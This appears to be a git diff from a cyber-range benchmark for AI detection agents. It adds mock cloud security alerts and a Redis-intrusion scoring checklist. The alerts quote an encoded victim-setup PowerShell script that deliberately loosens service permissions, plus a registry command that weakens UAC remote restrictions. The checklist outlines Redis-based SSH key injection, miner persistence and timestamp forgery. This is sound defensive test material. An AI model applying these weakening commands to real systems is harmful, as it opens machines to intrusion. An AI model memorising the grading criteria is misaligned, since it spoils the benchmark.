[Convert]::FromBase64String('cGFyYW0oCiAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeT0kdHJ1ZSldW3N0cmluZ10kQWRtaW5QYXNzd29yZCwKICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5PSR0cnVlKV1bc3RyaW5nXSRIZWxwZGVza1Bhc3N3b3JkCikKCiRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU3RvcCIKU2V0LUxvY2F0aW9uIC1QYXRoICRQU1NjcmlwdFJvb3QKCmZ1bmN0aW9uIEVuc3VyZS1Mb2NhbFVzZXIgewogICAgcGFyYW0oW3N0cmluZ10kTmFtZSwgW3N0cmluZ10kUGFzc3dvcmQsIFtzdHJpbmddJERlc2NyaXB0aW9uKQogICAgJFNlY3VyZSA9IENvbnZlcnRUby1TZWN1cmVTdHJpbmcgJFBhc3N3b3JkIC1Bc1BsYWluVGV4dCAtRm9yY2UKICAgICRFeGlzdGluZyA9IEdldC1Mb2NhbFVzZXIgLU5hbWUgJE5hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUKICAgIGlmICgkRXhpc3RpbmcpIHsKICAgICAgICBTZXQtTG9jYWxVc2VyIC1OYW1lICROYW1lIC1QYXNzd29yZCAkU2VjdXJlCiAgICAgICAgRW5hYmxlLUxvY2FsVXNlciAtTmFtZSAkTmFtZQogICAgfSBlbHNlIHsKICAgICAgICBOZXctTG9jYWxVc2VyIC1OYW1lICROYW1lIC1QYXNzd29yZCAkU2VjdXJlIC1E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l0cG9sIC9zZXQgL3N1YmNhdGVnb3J5OiJ7MENDRTkyMUMtNjlBRS0xMUQ5LUJFRDMtNTA1MDU0NTAzMDMwfSIgL3N1Y2Nlc3M6ZW5hYmxlIC9mYWlsdXJlOmVuYWJsZSB8IE91dC1OdWxsCmF1ZGl0cG9sIC9zZXQgL3N1YmNhdGVnb3J5OiJ7MENDRTkyMTEtNjlBRS0xMUQ5LUJFRDMtNTA1MDU0NTAzMDMwfSIgL3N1Y2Nlc3M6ZW5hYmxlIC9mYWlsdXJlOmVuYWJsZSB8IE91dC1OdWxsCgpXcml0ZS1Ib3N0ICJWaWN0aW0gc2V0dXAgY29tcGxldGUiCg=='))\"" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe", + "ValueDisplay": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "3152", + "ValueDisplay": "3152" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "\"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\setup_victim.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\setup_victim.ps1', [Convert]::FromBase64String('cGFyYW0oCiAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeT0kdHJ1ZSldW3N0cmluZ10kQWRtaW5QYXNzd29yZCwKICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5PSR0cnVlKV1bc3RyaW5nXSRIZWxwZGVza1Bhc3N3b3JkCikKCiRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU3RvcCIKU2V0LUxvY2F0aW9uIC1QYXRoICRQU1NjcmlwdFJvb3QKCmZ1bmN0aW9uIEVuc3VyZS1Mb2NhbFVzZXIgewogICAgcGFyYW0oW3N0cmluZ10kTmFtZ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XJpdHkuUHJpbmNpcGFsLlNlY3VyaXR5SWRlbnRpZmllcl0pLlZhbHVlCiRTZXJ2aWNlU2RkbCA9ICJEOihBOztHQTs7O1NZKShBOztHQTs7O0JBKShBOztDQ0xDU1dMT0NSUkM7OztBVSkoQTs7R0E7OzskSGVscGRlc2tTaWQpIgpzYy5leGUgc2RzZXQgQ29ycEJhY2t1cFN2YyAkU2VydmljZVNkZGwgfCBPdXQtTnVsbAoKd2V2dHV0aWwgc2wgU2VjdXJpdHkgL2U6dHJ1ZSB8IE91dC1OdWxsCmF1ZGl0cG9sIC9zZXQgL3N1YmNhdGVnb3J5OiJ7MENDRTkyMTUtNjlBRS0xMUQ5LUJFRDMtNTA1MDU0NTAzMDMwfSIgL3N1Y2Nlc3M6ZW5hYmxlIC9mYWlsdXJlOmVuYWJsZSB8IE91dC1OdWxsCmF1ZGl0cG9sIC9zZXQgL3N1YmNhdGVnb3J5OiJ7MENDRTkyMUMtNjlBRS0xMUQ5LUJFRDMtNTA1MDU0NTAzMDMwfSIgL3N1Y2Nlc3M6ZW5hYmxlIC9mYWlsdXJlOmVuYWJsZSB8IE91dC1OdWxsCmF1ZGl0cG9sIC9zZXQgL3N1YmNhdGVnb3J5OiJ7MENDRTkyMTEtNjlBRS0xMUQ5LUJFRDMtNTA1MDU0NTAzMDMwfSIgL3N1Y2Nlc3M6ZW5hYmxlIC9mYWlsdXJlOmVuYWJsZSB8IE91dC1OdWxsCgpXcml0ZS1Ib3N0ICJWaWN0aW0gc2V0dXAgY29tcGxldGUiCg=='))\"\"", + "ValueDisplay": "\"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\setup_victim.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\setup_victim.ps1', [Convert]::FromBase64String('cGFyYW0oCiAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeT0kdHJ1ZS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WN0aW0gc2V0dXAgY29tcGxldGUiCg=='))\"\"" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "C:/Windows/System32/cmd.exe", + "ValueDisplay": "C:/Windows/System32/cmd.exe" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "3628", + "ValueDisplay": "3628" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[2808]  C:\\Windows\\System32\\OpenSSH\\sshd.exe\n
            -[2312]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -R\n
                -[2944]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -z\n
                    -[3628]  \"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\setup_victim.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\setup_victim.ps1', [Convert]::FromBase64String('cGFyYW0oCiAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeT0kdHJ1ZSldW3N0cmluZ10kQWRtaW5QYXNzd29yZCwKICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5PSR0cnVlKV1bc3RyaW5nXSRIZWxwZGVza1Bhc3N3b3JkCikKCiRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU3RvcCIKU2V0LUxvY2F0aW9uIC1QYXRoICRQU1NjcmlwdFJvb3QKCmZ1bmN0aW9uIEVuc3VyZS1Mb2NhbFVzZXIgewogICAgcGFyYW0oW3N0cmluZ10kTmFtZSwgW3N0cmluZ10kUGFzc3dvcmQsIFtzdHJpbmddJERlc2NyaXB0aW9uKQogICAgJFNlY3VyZSA9IENvbnZlcnRUby1TZWN1cmVTdHJpbmcgJFBhc3N3b3JkIC1Bc1BsYWluVGV4dCAtRm9yY2UKICAgICRFeGlzdGluZyA9IEdldC1Mb2NhbFVzZ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c2RzZXQgQ29ycEJhY2t1cFN2YyAkU2VydmljZVNkZGwgfCBPdXQtTnVsbAoKd2V2dHV0aWwgc2wgU2VjdXJpdHkgL2U6dHJ1ZSB8IE91dC1OdWxsCmF1ZGl0cG9sIC9zZXQgL3N1YmNhdGVnb3J5OiJ7MENDRTkyMTUtNjlBRS0xMUQ5LUJFRDMtNTA1MDU0NTAzMDMwfSIgL3N1Y2Nlc3M6ZW5hYmxlIC9mYWlsdXJlOmVuYWJsZSB8IE91dC1OdWxsCmF1ZGl0cG9sIC9zZXQgL3N1YmNhdGVnb3J5OiJ7MENDRTkyMUMtNjlBRS0xMUQ5LUJFRDMtNTA1MDU0NTAzMDMwfSIgL3N1Y2Nlc3M6ZW5hYmxlIC9mYWlsdXJlOmVuYWJsZSB8IE91dC1OdWxsCmF1ZGl0cG9sIC9zZXQgL3N1YmNhdGVnb3J5OiJ7MENDRTkyMTEtNjlBRS0xMUQ5LUJFRDMtNTA1MDU0NTAzMDMwfSIgL3N1Y2Nlc3M6ZW5hYmxlIC9mYWlsdXJlOmVuYWJsZSB8IE91dC1OdWxsCgpXcml0ZS1Ib3N0ICJWaWN0aW0gc2V0dXAgY29tcGxldGUiCg=='))\"\"

\n", + "ValueDisplay": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[2808]  C:\\Windows\\System32\\OpenSSH\\sshd.exe\n
            -[2312]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -R\n
                -[2944]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -z\n
                    -[3628]  \"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\setup_victim.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\setup_victim.ps1', [Convert]::FromBase64String('cGFyYW0oCiAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeT0kdHJ1Z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aWN0aW0gc2V0dXAgY29tcGxldGUiCg=='))\"\"

\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似.", + "ValueDisplay": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似." + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为.", + "ValueDisplay": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为." + } + ], + "DisplaySandboxResult": false, + "EventNotes": [], + "EventStatus": 1, + "EventSubType": "可疑Powershell指令", + "HasTraceInfo": true, + "Id": 720157670, + "InstanceId": "i-bp1864d401as14btd9vf", + "InstanceName": "range-rdp-service-abuse-victim", + "InternetIp": "121.41.86.186", + "IntranetIp": "172.16.33.176", + "LargeModel": true, + "LastTime": "2026-06-02 20:03:43", + "LastTimeStamp": 1780401823000, + "Level": "suspicious", + "Name": "进程异常行为-可疑Powershell指令", + "OccurrenceTime": "2026-06-02 20:03:43", + "OccurrenceTimeStamp": 1780401823000, + "SaleVersion": "1", + "SecurityEventIds": "720157670", + "Stages": "[\"代码执行\"]", + "SupportOperateCode": "AI.real_attack", + "TacticItems": [ + { + "TacticDisplayName": "代码执行", + "TacticId": "TA0002" + } + ], + "UniqueInfo": "9ef4c7dc9d1ed2ae6a3c228f2e0c86b1", + "Uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" + }, + { + "Advanced": false, + "AlarmEventName": "异常注册表操作", + "AlarmEventNameDisplay": "异常的注册表操作", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "ca7ef5e051dc2a9434a3fbea79c984d6", + "AutoBreaking": false, + "CanBeDealOnLine": false, + "CanCancelFault": false, + "ContainHwMode": false, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型在您的机器上发现该命令操作注册表的方式高度可疑,可能是恶意软件或攻击者入侵后的配置修改行为。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关.", + "ValueDisplay": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关." + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": " 修改该注册表可以关闭UAC或实现UAC绕过攻击.\n \n", + "ValueDisplay": " 修改该注册表可以关闭UAC或实现UAC绕过攻击.\n \n" + }, + { + "NameDisplay": "路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "内容", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "SYSTEM", + "ValueDisplay": "SYSTEM" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f", + "ValueDisplay": "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "C:/Windows/System32/reg.exe", + "ValueDisplay": "C:/Windows/System32/reg.exe" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "5536", + "ValueDisplay": "5536" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "C:\\Windows\\system32\\cmd.exe /c C:\\ProgramData\\aliyun\\assist\\work\\script\\t-hz06mqcfoidrk74.bat", + "ValueDisplay": "C:\\Windows\\system32\\cmd.exe /c C:\\ProgramData\\aliyun\\assist\\work\\script\\t-hz06mqcfoidrk74.bat" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "C:/Windows/System32/cmd.exe", + "ValueDisplay": "C:/Windows/System32/cmd.exe" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "2760", + "ValueDisplay": "2760" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[2460]  C:\\ProgramData\\aliyun\\assist\\2.1.4.1065\\aliyun_assist_service.exe\n
    -[2760]  C:\\Windows\\system32\\cmd.exe /c C:\\ProgramData\\aliyun\\assist\\work\\script\\t-hz06mqcfoidrk74.bat

\n", + "ValueDisplay": "

-[2460]  C:\\ProgramData\\aliyun\\assist\\2.1.4.1065\\aliyun_assist_service.exe\n
    -[2760]  C:\\Windows\\system32\\cmd.exe /c C:\\ProgramData\\aliyun\\assist\\work\\script\\t-hz06mqcfoidrk74.bat

\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "检测模型在您的机器上发现该命令操作注册表的方式高度可疑,可能是恶意软件或攻击者入侵后的配置修改行为。", + "ValueDisplay": "检测模型在您的机器上发现该命令操作注册表的方式高度可疑,可能是恶意软件或攻击者入侵后的配置修改行为。" + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为.", + "ValueDisplay": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为." + } + ], + "DisplaySandboxResult": false, + "EventNotes": [], + "EventStatus": 1, + "EventSubType": "异常注册表操作", + "HasTraceInfo": true, + "Id": 720157412, + "InstanceId": "i-bp1864d401as14btd9vf", + "InstanceName": "range-rdp-service-abuse-victim", + "InternetIp": "121.41.86.186", + "IntranetIp": "172.16.33.176", + "LargeModel": true, + "LastTime": "2026-06-02 19:59:54", + "LastTimeStamp": 1780401594000, + "Level": "suspicious", + "Name": "进程异常行为-异常的注册表操作", + "OccurrenceTime": "2026-06-02 19:59:54", + "OccurrenceTimeStamp": 1780401594000, + "SaleVersion": "1", + "SecurityEventIds": "720157412", + "Stages": "[\"防御绕过\"]", + "SupportOperateCode": "AI.Insufficient_information_to_evaluate", + "TacticItems": [ + { + "TacticDisplayName": "防御绕过", + "TacticId": "TA0005" + } + ], + "UniqueInfo": "8ed010c357cb2bca043b671443df3f43", + "Uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" + } + ], + "TotalCount": 7 + }, + { + "Count": 0, + "CurrentPage": 2, + "PageSize": 50, + "RequestId": "B61FCA19-C013-562C-ABDA-71E13A79FC8F", + "SuspEvents": [], + "TotalCount": 0 + } + ], + "source": "SAS::describe_susp_events", + "uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" +} diff --git a/ranges/rdp-service-abuse/sas-mock/baselines.json b/ranges/rdp-service-abuse/sas-mock/baselines.json new file mode 100644 index 0000000000000000000000000000000000000000..90d2d1a5442c4e24301bc68c5ffdb5cd2ce2e45f --- /dev/null +++ b/ranges/rdp-service-abuse/sas-mock/baselines.json @@ -0,0 +1,11 @@ +{ + "instance_id": "i-bp1864d401as14btd9vf", + "pages": [ + { + "List": [], + "RequestId": "3D3E3493-4CE5-5DA0-8B9F-780973C54CCD" + } + ], + "source": "SAS::describe_risk_list_check_result", + "uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" +} diff --git a/ranges/rdp-service-abuse/sas-mock/vulns.json b/ranges/rdp-service-abuse/sas-mock/vulns.json new file mode 100644 index 0000000000000000000000000000000000000000..5f2e0e1c9d5204a6ab6b1ec1c048067a47cc4da5 --- /dev/null +++ b/ranges/rdp-service-abuse/sas-mock/vulns.json @@ -0,0 +1,14 @@ +{ + "instance_id": "i-bp1864d401as14btd9vf", + "pages": [ + { + "CurrentPage": 1, + "GroupedVulItems": [], + "PageSize": 50, + "RequestId": "D2D99EB0-D996-5F82-A93C-D687996D9B84", + "TotalCount": 0 + } + ], + "source": "SAS::describe_grouped_vul", + "uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" +} diff --git a/ranges/redis-rce/checklist.en.md b/ranges/redis-rce/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..5b735cfb02846bc6fbfa65507d24a996c16798dd --- /dev/null +++ b/ranges/redis-rce/checklist.en.md @@ -0,0 +1,250 @@ +# range-redis-rce Checklist + +Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score. + +- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge +- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the fix plan output by the detection Agent — LLM-as-a-Judge +- **detection-only**: plan score marked N/A, does not participate in the corresponding aggregation + +## Dimension 1: Intrusion entity identification and remediation (4 items) + +### CHK-01: Mining process detection `ENT-P01` +- **Evidence**: process `/var/tmp/.redis-bgsave` is running, or log `/var/tmp/.redis-bgsave.log` exists +- **Detection score** (3 pts) + - Discovery: identified that a mining process exists + - Evidence: point out the path `/var/tmp/.redis-bgsave`, recognize the disguised name (.redis-bgsave imitates the Redis background save process) + - Attribution: associate the mining process with the attacker's post-intrusion profit-seeking behavior +- **Plan score** (2 pts) + - Correctness: the plan gives the correct process termination command + - Completeness: the plan covers terminating the process + deleting the binary file and log + checking the persistence mechanism + +### CHK-02: Mining binary cleanup `ENT-F02` +- **Evidence**: file `/var/tmp/.redis-bgsave` exists +- **Detection score** (3 pts) + - Discovery: identified the malicious file + - Evidence: point out the file path and type + - Attribution: associate it with mining behavior +- **Plan score** (2 pts) + - Correctness: the plan gives the correct deletion command + - Completeness: the plan suggests checking locations such as /var/tmp, /tmp for copies + +### CHK-03: Attacker SSH public-key identification `ENT-F04` +- **Evidence**: `/root/.ssh/authorized_keys` contains a public key with the comment `attacker@redis-pwned`, and the file contains Redis RDB serialized binary data +- **Detection score** (3 pts) + - Discovery: found an anomalous SSH public-key entry + - Evidence: point out the public-key comment `attacker@redis-pwned` + the authorized_keys file contains an abnormal binary prefix (Redis RDB signature) + - Attribution: recognize that the SSH public key was written via Redis unauthorized access (not manually added) +- **Plan score** (2 pts) + - Correctness: the plan suggests deleting the attacker's public key + - Completeness: the plan explains that authorized_keys must be rebuilt (the entire file is polluted with Redis RDB format, cannot just delete one line) + +### CHK-04: Redis-written crontab residue `ENT-F04` +- **Evidence**: `/var/spool/cron/crontabs/root` contains Redis RDB binary data + a mining crontab entry +- **Detection score** (3 pts) + - Discovery: found an anomalous crontab file + - Evidence: point out that the file contains RDB binary garbage data, not a normal crontab format + - Attribution: recognize it as a file written by Redis CONFIG SET + SAVE (same attack technique as authorized_keys) +- **Plan score** (2 pts) + - Correctness: the plan suggests deleting the file or rebuilding it empty + - Completeness: the plan explains that both `crontab -l` and the filesystem level must be checked + +## Dimension 2: Baseline risk (8 items) + +### CHK-05: Redis bind configuration `BAS-02` +- **Evidence**: `bind 0.0.0.0` in `/etc/redis/redis.conf` (listens on all interfaces) +- **Detection score** (3 pts) + - Discovery: identified that Redis listens on all network interfaces + - Evidence: cite the bind configuration in redis.conf + - Attribution: associate it with the attacker being able to access Redis from the external network +- **Plan score** (2 pts) + - Correctness: the plan suggests changing to `bind 127.0.0.1` + - Completeness: the plan considers application-level impact (e.g., other services depending on Redis network access) + +### CHK-06: Redis requirepass `BAS-02` +- **Evidence**: Redis has no requirepass set (arbitrary commands can be executed without authentication) +- **Detection score** (3 pts) + - Discovery: identified that Redis has no password protection + - Evidence: `redis-cli CONFIG GET requirepass` returns empty + - Attribution: associate the lack of a password with the attacker being able to execute dangerous commands such as CONFIG SET +- **Plan score** (2 pts) + - Correctness: the plan suggests setting requirepass to a strong password + - Completeness: the plan includes client connection updates and password complexity requirements + +### CHK-07: Redis protected-mode `BAS-02` +- **Evidence**: `protected-mode no` disables Redis's own security protection +- **Detection score** (3 pts) + - Discovery: identified that protected-mode is disabled + - Evidence: cite the redis.conf configuration + - Attribution: associate it with the Redis unauthorized-access capability +- **Plan score** (2 pts) + - Correctness: the plan suggests enabling protected-mode + - Completeness: the plan explains the combined use of protected-mode and requirepass + +### CHK-08: Redis run-as user `BAS-02` +- **Evidence**: Redis runs as root (`ps -o user= -p $(pgrep redis-server)` returns root) +- **Detection score** (3 pts) + - Discovery: identified the serious risk of Redis running as root + - Evidence: process information shows the run-as user is root + - Attribution: point out that running as root is the key prerequisite for the attacker being able to write to /root/.ssh/ +- **Plan score** (2 pts) + - Correctness: the plan suggests changing to run as a dedicated redis user + - Completeness: the plan includes file permission changes and systemd service user configuration + +### CHK-09: Redis rename-command `BAS-02` +- **Evidence**: dangerous commands such as CONFIG, SAVE, FLUSHALL are not restricted +- **Detection score** (3 pts) + - Discovery: identified that dangerous commands are not restricted + - Evidence: CONFIG SET can be executed remotely directly + - Attribution: point out that the CONFIG/SAVE commands are core to writing the SSH key and crontab +- **Plan score** (2 pts) + - Correctness: the plan suggests using rename-command to rename or disable dangerous commands + - Completeness: the plan lists the commands to be restricted (CONFIG, SAVE, BGSAVE, FLUSHALL, DEBUG) + +### CHK-10: SSH PermitRootLogin `BAS-01` +- **Evidence**: `PermitRootLogin yes` in `/etc/ssh/sshd_config` +- **Detection score** (3 pts) + - Discovery: identified the risk of direct root SSH login + - Evidence: cite the sshd_config configuration + - Attribution: associate it with the attacker logging in directly as root via the SSH key +- **Plan score** (2 pts) + - Correctness: the plan suggests changing to `no` or `prohibit-password` + - Completeness: the plan includes `sshd -t` validation and sshd restart + +### CHK-11: deploy sudoers NOPASSWD `BAS-04` +- **Evidence**: `/etc/sudoers.d/deploy` grants `NOPASSWD: ALL` +- **Detection score** (3 pts) + - Discovery: identified overly permissive sudo privileges + - Evidence: cite the sudoers file content + - Attribution: point out that the attacker can use this to escalate privileges +- **Plan score** (2 pts) + - Correctness: the plan suggests restricting to specific commands or removing NOPASSWD + - Completeness: the plan includes `visudo -c` validation + +### CHK-12: Redis session creds in bash_history `BAS-03` +- **Evidence**: `/home/deploy/.bash_history` contains a session token leaked by a Redis SET command (`session:admin ... s3cr3tK3y!2024`) +- **Detection score** (3 pts) + - Discovery: identified sensitive information in shell history + - Evidence: cite the specific history line + - Attribution: point out that the credential leak can be exploited by the attacker +- **Plan score** (2 pts) + - Correctness: the plan suggests clearing the sensitive history lines + - Completeness: the plan suggests using Redis ACL or application-level authentication instead of plaintext command-line operations + +## Dimension 3: Persistence removal (5 items) + +### CHK-13: SSH .ssh/rc persistence `PER-I01` +- **Evidence**: `/root/.ssh/rc` contains code disguised as a "Redis connection health check", which actually silently launches the mining program upon SSH login +- **Detection score** (3 pts) + - Discovery: identified malicious code in the SSH rc file + - Evidence: cite the /root/.ssh/rc content and the disguise comment + - Attribution: recognize it as a persistence mechanism auto-executed on SSH login (distinct from bashrc/profile.d) +- **Plan score** (2 pts) + - Correctness: the plan gives the command to delete /root/.ssh/rc + - Completeness: the plan suggests checking other users' ~/.ssh/rc + +### CHK-14: init.d malicious script `PER-V01` +- **Evidence**: `/etc/init.d/redis-watchdog` — disguised as a Redis health monitoring daemon, actually launches the mining program +- **Detection score** (3 pts) + - Discovery: identified a suspicious init.d script + - Evidence: point out the script path and the actual executed content (points to /var/tmp/.redis-bgsave) + - Attribution: recognize it as init.d-level persistence (starts automatically at boot) +- **Plan score** (2 pts) + - Correctness: the plan gives the command to remove the script + `update-rc.d remove` + - Completeness: the plan includes post-cleanup verification steps + +### CHK-15: init.d service masquerade `PER-V01` *detection-only* +- **Evidence**: the script name `redis-watchdog` and the description "Redis health monitoring daemon" imitate legitimate operations tooling +- **Detection score** (3 pts) + - Discovery: point out the disguise technique of the service name and LSB description + - Evidence: compare with legitimate Redis component naming (redis-server, redis-sentinel), point out that redis-watchdog is not an official component + - Attribution: recognize it as the attacker using name disguise to evade inspection +- **Plan score**: N/A (actual remediation is covered by CHK-14) + +### CHK-16: Redis crontab file-signature ID `PER-S01` *detection-only* +- **Evidence**: `/var/spool/cron/crontabs/root` file begins with a Redis RDB format header (rather than normal crontab text) +- **Detection score** (3 pts) + - Discovery: identified an abnormal crontab file format + - Evidence: point out that the file contains binary data (Redis RDB signature), not a normal crontab format + - Attribution: determine it was written by the Redis CONFIG SET dir + SAVE attack technique +- **Plan score**: N/A (actual remediation is covered by CHK-04) +- **Bonus**: the Agent correlates the RDB signature of the crontab with the RDB signature of authorized_keys in its analysis + +### CHK-17: Comprehensive persistence scan `Q-05` *detection-only* +- **Evidence**: no persistence mechanisms other than ~/.ssh/rc, init.d, crontab +- **Detection score** (3 pts) + - Discovery: perform a systematic persistence scan (systemd, profile.d, bashrc, at jobs, etc.) + - Evidence: record the scan scope and method + - Attribution: even if no additional items are found, demonstrate the thoroughness of the investigation +- **Plan score**: N/A + +## Dimension 4: Evaluation-quality dimension (4 items) + +### CHK-18: Redis unauthorized-access evidence `Q-02` `Q-03` *detection-only* +- **Evidence**: + - Redis logs (connection records may still exist after partial cleanup) + - Redis RDB binary signature in authorized_keys + - Redis RDB signature in the crontab file + - Redis CONFIG state (bind/protected-mode/requirepass) +- **Detection score** (3 pts) + - Discovery: cross-verify that Redis was exploited from multiple data sources + - Evidence: correlate the authorized_keys RDB signature + crontab RDB signature + Redis weak configuration + - Attribution: synthesize the evidence to establish the complete attack chain of Redis unauthorized access → SSH key injection +- **Plan score**: N/A + +### CHK-19: Attacker-IP identification `Q-03` *detection-only* +- **Evidence**: the client connection IP in the Redis logs; the source IP of the key login in SSH auth.log +- **Detection score** (3 pts) + - Discovery: identify the attacker's source IP + - Evidence: cite the specific log lines and IP + - Attribution: associate that IP with the Redis access and SSH login +- **Plan score**: N/A + +### CHK-20: Entry-point determination `Q-01` `Q-04` *detection-only* +- **Evidence**: Redis unauthorized access (CONFIG SET writing files), not SSH brute force, not CVE exploitation +- **Detection score** (3 pts) + - Discovery: correctly determine the entry point as "Redis unauthorized access" + - Evidence: cite the Redis weak configuration + authorized_keys RDB signature + absence of brute-force logs + - Attribution: rule out SSH brute force (no Failed password logs) and CVE (no exploitation traces) +- **Plan score**: N/A +- **Critical**: the Agent should not fabricate a CVE or misjudge it as SSH brute force + +### CHK-21: Attack-timeline reconstruction `Q-02` *detection-only* +- **Evidence**: Redis log timestamps, SSH auth.log key login time, file mtime/ctime (note that the mining file's mtime was forged with touch -r, ctime must be compared) +- **Detection score** (3 pts) + - Discovery: construct a coherent attack timeline + - Evidence: Redis access → SSH key login → mining deployment → persistence installation + - Attribution: cross-correlate multiple timestamp sources +- **Plan score**: N/A +- **Bonus**: the Agent recognizes that the mining file's mtime was forged with `touch -r` (mtime matches redis-server but ctime is the attack time) + +## Dimension 5: Remediation closed loop (4 items) + +### CHK-22: Redis hardening verification `Q-07` +- **Evidence**: after the Redis configuration changes +- **Detection score** (3 pts) + - Discovery: suggest verifying the Redis hardening effect + - Evidence: explain that five items must be verified: bind + requirepass + protected-mode + run-as user + rename-command + - Attribution: reflect the completeness of the remediation operations +- **Plan score** (2 pts) + - Correctness: the plan gives the verification commands after Redis hardening + - Completeness: the plan includes re-verifying that the configuration takes effect after restarting Redis + +### CHK-23: Port 6379 access restriction `BAS-07` +- **Evidence**: Redis port 6379 is open to the public network (inferable from the attacker connecting directly from the external network) +- **Detection score** (3 pts) + - Discovery: identified that the Redis port is open to the public network without restriction + - Evidence: the attacker executes Redis commands directly from the external network + - Attribution: associate the port exposure with the Redis unauthorized-access attack surface +- **Plan score** (2 pts) + 